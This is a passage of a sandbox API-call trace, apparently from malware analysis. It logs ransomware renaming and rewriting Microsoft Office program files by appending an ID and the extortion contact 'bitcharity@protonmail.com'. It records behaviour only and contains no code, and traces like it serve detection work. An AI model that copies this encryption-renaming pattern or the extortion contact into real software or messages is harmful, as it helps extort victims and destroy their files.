liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0281.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\LBRITE.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\lbrite.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.825] CloseHandle (hObject=0x11c0) returned 1 [0282.135] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0282.135] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0282.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\LBRITED.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\lbrited.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.622] CloseHandle (hObject=0x1160) returned 1 [0282.909] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmdp32.msi" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\osmdp32.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmdp32.msi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\osmdp32.msi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.909] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmdp64.msi" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\osmdp64.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmdp64.msi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\osmdp64.msi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.910] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmia32.msi" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\osmia32.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmia32.msi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\osmia32.msi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.910] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmia64.msi" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\osmia64.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\osmia64.msi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\osmia64.msi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.912] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\ACECORE.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\acecore.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\ACECORE.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\acecore.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.916] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\ACEWDAT.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\acewdat.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\ACEWDAT.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\acewdat.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.917] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0282.917] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0282.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\AirSpace.Etw.man.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\airspace.etw.man.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.917] CloseHandle (hObject=0x115c) returned 1 [0282.926] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\AppvIsvSubsystems64.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\appvisvsubsystems64.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.927] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\CMigrate.exe" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cmigrate.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\CMigrate.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cmigrate.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.928] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Csi.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\csi.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Csi.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\csi.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.928] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.929] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Microsoft.AnalysisServices.Excel.BackEnd.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\microsoft.analysisservices.excel.backend.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Microsoft.AnalysisServices.Excel.BackEnd.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\microsoft.analysisservices.excel.backend.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.932] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Microsoft.Excel.Amo.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\microsoft.excel.amo.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Microsoft.Excel.Amo.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\microsoft.excel.amo.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.933] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\msmdlocal_xl.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\msmdlocal_xl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\msmdlocal_xl.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\msmdlocal_xl.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.933] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\msmgdsrv_xl.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\msmgdsrv_xl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\msmgdsrv_xl.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\msmgdsrv_xl.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.934] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\msolap110_xl.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\msolap110_xl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\msolap110_xl.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\msolap110_xl.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.935] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0282.935] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0282.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Resources\\1033\\msmdsrvi_xl.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\resources\\1033\\msmdsrvi_xl.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.935] CloseHandle (hObject=0x115c) returned 1 [0282.936] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\xmsrv_xl.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\xmsrv_xl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\xmsrv_xl.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\xmsrv_xl.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.939] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\IACOM2.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\iacom2.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\IACOM2.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\iacom2.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.939] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mfc140u.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\mfc140u.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mfc140u.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.939] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.940] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso20win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso20win32client.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso20win32client.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso20win32client.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.940] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso30win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso30win32client.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso30win32client.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso30win32client.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.941] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO40UIRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO40UIRES.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso40uires.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0283.398] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0283.398] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0283.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\esen\\wt61es.lex.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.398] CloseHandle (hObject=0x115c) returned 1 [0283.400] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0283.400] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0283.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\fren\\wt61fr.lex.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.400] CloseHandle (hObject=0x115c) returned 1 [0283.824] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0283.824] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0283.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\msb1cach.lex.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.824] CloseHandle (hObject=0x11c8) returned 1 [0284.374] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Infragistics2.Win.UltraChart.v8.1.Design.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\infragistics2.win.ultrachart.v8.1.design.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Infragistics2.Win.UltraChart.v8.1.Design.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\infragistics2.win.ultrachart.v8.1.design.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.375] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Infragistics2.Win.UltraWinChart.v11.1.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\infragistics2.win.ultrawinchart.v11.1.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Infragistics2.Win.UltraWinChart.v11.1.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\infragistics2.win.ultrawinchart.v11.1.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.376] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Infragistics2.Win.UltraWinGrid.v11.1.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\infragistics2.win.ultrawingrid.v11.1.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Infragistics2.Win.UltraWinGrid.v11.1.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\infragistics2.win.ultrawingrid.v11.1.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.377] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Infragistics2.Win.UltraWinGrid.v8.1.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\infragistics2.win.ultrawingrid.v8.1.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Infragistics2.Win.UltraWinGrid.v8.1.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\infragistics2.win.ultrawingrid.v8.1.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.379] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Infragistics2.Win.UltraWinToolbars.v11.1.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\infragistics2.win.ultrawintoolbars.v11.1.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Infragistics2.Win.UltraWinToolbars.v11.1.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\infragistics2.win.ultrawintoolbars.v11.1.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.379] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Infragistics2.Win.UltraWinToolbars.v8.1.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\infragistics2.win.ultrawintoolbars.v8.1.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Infragistics2.Win.UltraWinToolbars.v8.1.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\infragistics2.win.ultrawintoolbars.v8.1.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.383] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Infragistics2.Win.v11.1.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\infragistics2.win.v11.1.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Infragistics2.Win.v11.1.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\infragistics2.win.v11.1.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.385] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Microsoft.Office.Interop.Access.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\microsoft.office.interop.access.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Microsoft.Office.Interop.Access.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\microsoft.office.interop.access.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.385] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Microsoft.Office.Interop.Excel.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\microsoft.office.interop.excel.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\Microsoft.Office.Interop.Excel.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\microsoft.office.interop.excel.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0284.391] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\SyncFusion.Grid.Windows.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\syncfusion.grid.windows.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft 